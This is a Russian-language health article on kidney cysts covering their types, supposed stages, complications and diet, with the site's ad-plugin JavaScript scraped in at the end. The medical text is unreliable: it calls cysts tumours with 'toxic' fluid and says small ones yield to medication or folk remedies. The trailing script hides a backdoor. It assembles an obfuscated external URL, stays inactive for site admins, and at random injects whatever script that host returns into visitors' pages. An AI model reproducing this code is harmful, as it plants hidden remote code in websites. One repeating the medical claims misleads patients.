Киста на почке: классификация, опасность, этапы развития

Киста на почке, согласно международной классификации болезней, является инородным атипичным присоединением к здоровым тканям парных органов почек. По своей структуре киста на почке состоит из коллагеновой капсулы с жидким наполнением и соединительных тканей или каналов. Многих пациентов интересует: киста на почке — опасно ли это, а если «да», то чем опасна киста на почках? В этой статье мы поговорим об этой патологии подробно.

Классификация кисты почек как доброкачественной опухоли

Все доброкачественные опухоли на почках делятся на две большие группы: те, которые располагаются на поверхности органов и поражают полярные части почек и те, которые локализуются внутри тела почек и провоцируют воспалительные процессы в мозге органа. Кисты на почках считаются менее опасными и патологическими, нежели кисты внутри органов. Это связано с тем, что они наносят меньше повреждений. Кроме того, у врачей есть возможность произвести удаление кисты на почке лапороскопически при оперативном вмешательстве или более щадящим способом — при вмешательстве медикаментозном.

В настоящее время медицина предлагает множество способов, как вылечить кисту на почке без операции и оперативным путем. Выбор зависит лишь от формы, вида и характера развития патологии. Однако, несмотря наместо локализации опухоли и ее размеров, она все же является атипичным образованием со всеми вытекающими последствиями.

Девушка держится за поясницу

Так, несмотря на причины, от чего появляется киста на почке, и тот факт, что сама по себе доброкачественная опухоль не приводит к смерти, она может немалым образом влиять на здоровые органы и системы. Многие наружные опухоли в почках приводят к нарушению работы мочеточной системы, воспалениям мочевого пузыря, застою мочи и инфицированию надпочечников.

В определенных условиях  такая опухоль может оказывать самое губительное влияние на человеческий организм и приводить к летальному исходу.

Примечательно, что кисты на почках развиваются преимущественно в женском организме. Это связано с тем, что женская мочеполовая система в большей степени подвержена попаданию в нее вредоносных бактерий, воспалениям, опухолям, отекам и, как следствие, появлению симптомов кисты на почке. Наибольший процент всех наружных доброкачественных опухолей приобретенного типа появляется из-за перенесенных заболеваний или повреждений почек, которые в свое время были неграмотно залечены или были игнорированы.

Киста на почке, снимок КТ

Когда опасна киста на почке?

Среди наиболее распространенных причин, при которых необходима операция по удалению кисты на почке, стоит выделить следующие:

  • Кистозное образование на поверхности почек появляется в результате ушиба или врожденной деформации органа. Киста представляет собой капсулу с жидкостью, которая может распространяться на органе, увеличиваться в размере и оказывать давление на соседние органы. В отличие от внутренних кист, наружные опухоли крайне токсичны и вредоносны для органов брюшной полости, могут приводить к дисфункциям кишечника, болям в желудке, поджелудочной железе, селезенке.
  • Наружные доброкачественные образования в процессе своего роста могут лопнуть или порваться при падениях или ударах, что влечет за собой попадание токсичной жидкости в кровь, провоцирование инфекции, острых болей и воспалений.
  • Симптомы и лечение кисты на почке часто могут провоцировать появление других инородных тел и поражать большую площадь органа. Мультикистоз почек приводит к тому, что орган перестает нормально функционировать и нуждается в полном хирургическом отсечении. Человек с отсеченной атипичной кистой почки страдает почечной недостаточностью, слабостью организма, усталостью, хронической гипертонией и заболеваниями мочеполовой системы.
  • Все доброкачественные образования провоцируют проникновение в пораженную зону бактерий. А поскольку организм слабеет в борьбе с болезнью, он не может выделять достаточно ресурсов для устранения бактериальной атаки. В результате, большой процент кист на почках провоцирует развитие сопутствующих инфекционных заболеваний и заражений, которые усугубляют симптомы и могут приводить к летальному исходу.

УЗИ снимок кисты почки

Виды и особенности кист на почках

Прежде всего стоит сказать о том, что согласно медицинским исследованиям, доброкачественные опухоли на почках нельзя четко распределить по видам и категориям. Невозможность четкой классификации объясняется несколькими факторами:

  • различной степенью влияния опухоли на иммунную систему;
  • способностью кист провоцировать возникновение побочных симптомов и состояний, которые не относятся ни к одной из известных категорий.

Киста на почке — что это? Из-за большого количества разновидностей и типов кист на почках их детальная классификация является очень большой. Однако, можно выделить несколько обзорных основных групп доброкачественных опухолей, исходя из их размеров или локализации в организме:

Кисты на почке в зависимости от величины

Все кисты на почках прежде всего стоит делить на те, которые начали свое развитие в утробе и называются врожденными и на те, которые появились после перенесенных воспалительных заболеваний, ушибов или операций.

В зависимости от того, что такое киста на почке в каждом конкретном случае, и размера инородного тела, опухоли принято делить на несколько основных групп:

  • Маленькие опухоли (3-4 см). Такие кисты, как правило, поддаются быстрому лечению медикаментозными средствами или методами народной медицины. Оперативное удаление показано лишь в крайних случаях.
  • Средние и большие кисты (свыше 5 см). Такой вид опухолей приводит ко множественным воспалительным реакциям в организме, может придавливать здоровые соседние органы, а также вызывать застой мочи, закупорку мочеточных каналов и инфицирование мочеполовой системы.
  • Очень большие опухоли (свыше 10 см). Кисты такого типа крайне редко регистрируются у больных, но очень опасны. Они оказывают крайне сильное патологическое воздействие на организм, приводят к развитию многих воспалительных процессов и могут быть причиной преждевременной смерти.

Киста, переросшая в рак почки

Кисты с учетом структуры

Доброкачественные образования на парных органах почках можно также делить, исходя из их структуры и особенностей прикрепления к органу. Лечение кисты на почке производят в зависимости от ее типа. Опухоли на поверхности почки разделяют на простые опухоли и образования с несколькими камерами. Опухоли с камерами представляют собой большой мешок с жидкостью, который имеет несколько перегородок и может крепиться к телу почки с помощью соединительной ткани или соединительных жгутиков.

В зависимости от количества инородных образований и их распространения на здоровом органе, кисты на почках делят, как правило, на единичные, состоящие из одной капсулы, и множественные, которые подобно ягодам покрывают почку, поражая большую ее часть.

Характер поражения кистой

Доброкачественные опухоли на почках также принято разделять на те, которые поражают один парный орган и те, которые повреждают ткани на обеих органах. Может ли рассосаться киста на почке? Важно отметить, что парные кисты часто приводят к развитию многих других сопутствующих заболеваний и воспалений в мочеполовой системе. Ожидать, что она рассосется сама, не стоит.

УЗИ почек

Киста на почке с учетом характеристик жидкости

Жидкость, которая находится внутри капсулы кисты, также может иметь разный характер своего образования и разный цвет. В зависимости от того, опасна ли киста на почке и типа жидкости, опухоли делят на:

  • серозные — жидкость внутри тела кисты имеет прозрачный или желтый цвет;
  • геморрагические — жидкость окрашена в красный цвет и содержит сгустки крови;
  • гнойные — жидкость состоит из гноя с небольшой примесью лимфы;
  • кальцинатные — жидкость содержит вкрапления соли и кальцевидных тел, которые также могут входить в состав соединительных тканей опухоли.

Стоит отметить, что данная классификация не может служить пособием относительно того, что делать чтобы киста на почке рассосалась; она является преимущественно ознакомительной и не может относиться к конкретному случаю заболевания.

Также только по данной классификации нельзя определить, чем грозит киста на почке. Только после тщательного осмотра, сканирования инородного образования и проверки всех сданный анализов доктор может с уверенностью написать заключение, сформировать картину болезни, выяснить, можно ли и как лечить кисту на почке без операции, сформировать план лечения.

На снимке - киста, переросшая в злокачественную опухоль

Категории развития и формирования опухолей на почках

Итак, есть три основные категории развития и прогрессирования кисты на почке в организме. Процесс ее роста может занимать десятки лет, а может происходить на несколько месяцев. С точностью сказать о сроках развития опухоли на почке нельзя, поскольку этот показатель является индивидуальным.

Тем не менее, помимо того, что медицина делит кисты на почках не несколько условных групп с учетом целого ряда критериев, существует еще одна классификация, которая позволяет врачу определить, как лечить кисту на почке. Благодаря такому категориальному делению доктор может определить степень болезни и принять максимально эффективные меры по ее лечению.

Что делать если киста на почке? Киста на почке — что делать, как лечить? Киста на почке, может ли рассосаться? Чтобы ответить на эти вопросы необходимо знать об этапах развития кист.

Кистозное образование на почке у ребенка

ВАЖНО ЗНАТЬ!

Первый этап развития опухоли

Первая категория развития кисты определяет начало ее развития и формирование капсулы до 1 см в диаметре. Инородные тела на почках доброкачественного характера начинают образовываться, как правило, в местах поражения тканей, в углублениях и залеченных ранах. Покрывающая ткань почки из-за сбоев в мочеполовой системе начинает выделять аномальное количество коллагена, которое выстилает углубление на органе и провоцирует развитие опухоли. Из этого коллагена формируется капсула доброкачественной опухоли.

Когда капсула достигает примерно 5 мм в диаметре, она заполняется жидкостью (на этом этапе преимущественно кровью или гноем) и прогрессирует. Мультикистозные кисты на почках на этом этапе формируют соединительные каналы, с помощью которых они позже соединяются с другими капсулами на пораженном органе. Кисты первой категории принято считать максимально безопасными в относительном порядке, поскольку они не провоцируют воспаление, не разрастаются до больших размеров и не развиваются во злокачественные образования.

Второй этап развития опухоли

Вторая категория охватывает опухоли, которые также не считаются максимально опасными для человеческого организма, однако могут оказывать на него немалое патологическое влияние. Опухоли этой категории на почках, как правило, имеют большие размеры (свыше 5 см), бывают многокамерными, множественными и инфицированными (содержат гной и бактериальные материалы). Важно отметить, что помимо соединительной ткани и прикрепляющих каналов, кисты второй категории также часто могут быть покрыты налетом кальция или крови, что в свою очередь приводит к воспалительным процессам и развитию инфекций.

Лапароскопия почки

Третий этап формирования кисты

Третья категория считается наиболее опасной. Кисты третьей категории представляют собой твердые инородные образования на почках, которые могут иметь перепонки, большое содержание жидкости и соединяются с органом прочными жгутами и соединительными каналами. Очень часто диагностирование кисты третьего порядка у человека означает срочное оперативное вмешательство. Это связано с тем, что доброкачественное образование такого типа уже не считается безопасным для организма и имеет подозрения на онкологическую проблему.

Киста в завершении своего развития

Четвертая и неофициальная категория не включает в себя доброкачественные опухоли, поскольку к ней относятся все раковые образование на почках, которые подлежат срочному удалению.

Осложнения и патологии развития кисты на почке

Киста на почке, что делать?

Опасность развития в организме доброкачественной опухоли на почке состоит в том, что этот вид инородного тела крайне сложно вовремя диагностировать и определить его влияние на организм. Когда киста только начинает свое развитие на поверхности почки, больной человек может ничего не чувствовать и даже не догадываться о назревающей проблеме. Однако, киста увеличивается в размерах, растет, поражает ткани органа и рано или поздно приводит к осложнениям и патологическим изменениям.

Общее ухудшение состояния

Среди наиболее слабых патологий в процессе роста кисты на почке можно выделить ухудшение общего самочувствия и тянущие боли в животе или в области поясничного пояса. Эта тупая боль означает то, что опухоль на почке перестала быть безопасной и безобидной и начала оказывать давление на внутренние органы и их работу.

Ухудшение состояния

Расстройства работы мочевыводящей системы

Кистозные тела на почке могут провоцировать патологические изменения и нарушения работы мочеточных каналов и проточных почечных каналов. Из-за этого у больного человека может не болеть бок и поясница, однако могут появляться затруднения при мочеиспускании, боли в области мочевого пузыря.

Патологические изменения в опухолях на почках также приводят к инфицированию и воспалению мочеточной системы. Из-за этого в моче больного может наблюдаться содержание крови или гноя.

Проблемы с органами брюшной полости

Патологическое разрастание и аномальный рост доброкачественного образования на почке нередко вызывает воспаление и отек органов в брюшной части. Осложнения проявляются в виде постоянных болей в желудке, проблемах с пищеварением, болях в поджелудочной железе или надпочечниках.

Абсцесс

Среди опасных для жизни человека осложнений опухоли почек выделяют абсцесс. Абсцесс является образованием большого количества гноя в области присоединения опухоли или у ее соединительных тканей. В результате скапливания токсичного гноя, капсула кисты может рано или поздно лопнуть. Если гнойная жидкость попадает в кровь или брюшную полость, это может привести к возникновению сильнейших режущих болей и летальному исходу.

Воспаление почек

Воспаление и вздутие пораженной почки. Осложнение это связано с патогенным воздействием инородного тела на пораженный орган, блокированием основных его функций и закупоркой каналов. Пораженная почка может воспалиться и увеличиться в размерах. Это в свою очередь чревато появлением тупых боле в боку, а также к обозримому вздутию в области размещения кисты.

Оперативное вмешатеьство при кисте почки

Почечная недостаточность

Помимо особо острых и явно заметных осложнений в процессе развития и прогрессирования доброкачественных опухолей на почках, существует и другой скрытый тип патологий, который считается наиболее опасным. При появлении кисты на почке у больного человека может развиваться почечная недостаточность, которая может не беспокоить человека. Однако, при сдаче анализов и осмотре пациента у него могут обнаружить примеси крови или гноя в моче, затруднения в мочеточных каналах или инородные образования в протоках. Такой скрытый вид осложнений опасен тем, что человек может не знать о нарушениях в своем организме и обратиться к доктору, когда заболевание уже будет сложно излечить.

Уремия

Патологии при развитии кисты почек также связаны нередко с уремией. Это явление обозначает процесс накапливания в организме токсичных веществ и инородных бактерий из мочи, которые почки не успевают вовремя выводить наружу из-за своих повреждений.

Длительный процесс развития уремии поначалу может не выказывать своих симптомов и не беспокоить человека. Однако чем больше в организме скапливается токсинов, тем больше вероятность развития инфекции или сильного воспаления.

Рак

Любое аномальное тело в организме человека появляется в результате сбоя в делении клеток, которые формируют ткань опухоли. Однако, деление клеток может рано или поздно принять аномальный характер, приобрести атипичные патогенные признаки и перерасти в злокачественное образование.

Наиболее опасным осложнением кисты на почках является ее развитие в раковую опухоль. Поэтому наиболее важным в процессе диагностики и лечения доброкачественных опухолей является своевременное определение природы новообразования. В 99% случаев кисты на почках, не склонные к малигнизации, не перерастают в злокачественные образования и не приводят к раку.

Полезная еда

Киста на почке и особенности питания

Прием медикаментозных или народных препаратов принесет мало пользы, если сам пациент не будет заботиться о своем здоровье. Заботиться о здоровье означает и следить за питанием.

Пациент с диагностированной кистой на почках должен отказаться от вредных привычек, прекратить курить, употреблять алкоголь и кофеиносодержащие напитки. Отказ от вредных продуктов, жаренной пищи и пересоленных блюд поможет устранить вероятность осложнений болезни и усугубления развития опухоли. Высокое содержание соли или жира в продуктах приводит к тому, что у пациента с опухолью на почке может развиться отек конечностей, произойти застой мочи или деформация мочеточных каналов.

Повышенное артериальное давление во время развития опухоли на почках также говорит о том, что пациент должен тщательно следить за продуктами, которые он употребляет в пищу, и выпивать большое количество жидкости. Хороший эффект приносит употребление зеленого чая, который действует как мочегонное средство и помогает очищению почек.

На время лечения также необходимо исключить тяжелые физические нагрузки, не поднимать тяжести и минимизировать риск ушибов и механических повреждений кисты. В противном случае любое внешнее влияние на опухоль может привести к изменениям в ее развитии и развитию патологических процессов.

Помните, что доброкачественная опухоль является нетипичным образованием в теле, которое может не оказывать патологического влияния на организм, однако все же иметь вероятность злокачественного развития и превращения в раковое образование, лечить которое потом гораздо дольше и сложнее.

СОВЕТУЕМ ПОСМОТРЕТЬ:


ЗАПИШИТЕСЬ НА ПРИЕМ:

Как записаться на прием к врачу

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),c=ff(window),b=ff("body"),g=void 0===flatPM_getCookie("flat_modal_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+a.ID+"_mb"),i="scroll.flatmodal"+a.ID,m="mouseleave.flatmodal"+a.ID+" blur.flatmodal"+a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&"true"==a.how.popup.timer&&(t=ff('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(--e),e'))},1e3))},s=function(){void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie&&g&&(flatPM_setCookie("flat_modal_"+a.ID+"_mb",!1),ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l()),void 0!==a.how.popup.cookie&&"false"==a.how.popup.cookie||(ff('.fpm_5_modal[data-id-modal="'+a.ID+'"]').addClass("fpm_5_modal-show"),l())},ff("body > *").eq(0).before('
'+p+"
"),w=document.querySelector('.fpm_5_modal[data-id-modal="'+a.ID+'"] .fpm_5_modal-content'),flatPM_setHTML(w,e),"px"==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&"true"==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer&&(t=ff('.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_timer span'),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(--e),e'))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie&&g&&(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n(),b.on("click",'.fpm_5_out[data-id-out="'+a.ID+'"] .fpm_5_cross',function(){flatPM_setCookie("flat_out_"+a.ID+"_mb",!1)})),void 0!==a.how.outgoing.cookie&&"false"==a.how.outgoing.cookie||(ff('.fpm_5_out[data-id-out="'+a.ID+'"]').addClass("show"),n())}var _,u="0"!=a.how.outgoing.indent?' style="bottom:'+a.how.outgoing.indent+'px"':"",p="true"==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&"true"==a.how.outgoing.timer?'
Закрыть через '+a.how.outgoing.timer_count+"
":'':"",c=ff(window),h="scroll.out"+a.ID,m="mouseleave.outgoing"+a.ID+" blur.outgoing"+a.ID,g=void 0===flatPM_getCookie("flat_out_"+a.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+a.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(a.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+p+"
");var v,w=document.querySelector('.fpm_5_out[data-id-out="'+a.ID+'"]');flatPM_setHTML(w,e),"px"==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&"true"==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_subflat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub.flatPM_sidebar)");0<_.length t="ff(this),e=t.data("height")||350,o=t.data("top");t.wrap('');t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a');t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t *").last().after('
'),flat_body.on("click",".fpm_5_out .fpm_5_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".fpm_5_modal .fpm_5_cross",function(){ff(this).closest(".fpm_5_modal").removeClass("fpm_5_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),ff("[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)").contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/]*)\/>/gi,d=/",""],thead:[1,"","
"],tbody:[1,"","
"],colgroup:[2,"","
"],col:[3,"","
"],tr:[2,"","
"],td:[3,"","
"],th:[3,"","
"],_default:[0,"",""]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,"$2>")+r[2],n=r[0];n--;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,166);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"r"+"e"+"a"+"d"+"o"+"n"+"e"+"."+"r"+"u"+"/"+"p"+"i"+"n"+"g"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0/gm,"").replace(//gm,"").trim(),e.code_alt=e.code_alt.replace(//gm,"").replace(//gm,"").trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,n='
'+a+" через "+l+'
'+r+'
',i=e.once;o(t).each(function(){var e=o(this);e.wrap('
');var t=e.closest(".fpm_5_video");flatPM_setHTML(t[0],n),e.find(".fpm_5_video_flex").one("click",function(){o(this).addClass("show")})}),o("body").on("click",".fpm_5_video_item_hover",function(){var e=o(this),t=e.closest(".fpm_5_video_flex");t.addClass("show");var a=t.find(".fpm_5_timer span"),r=parseInt(l),n=setInterval(function(){a.text(--r),r'):t.remove())},1e3);e.remove()}).on("click",".fpm_5_video_flex .fpm_5_cross",function(){o(this).closest(".fpm_5_video_flex").remove(),"true"==i&&o(".fpm_5_video_flex").remove()})};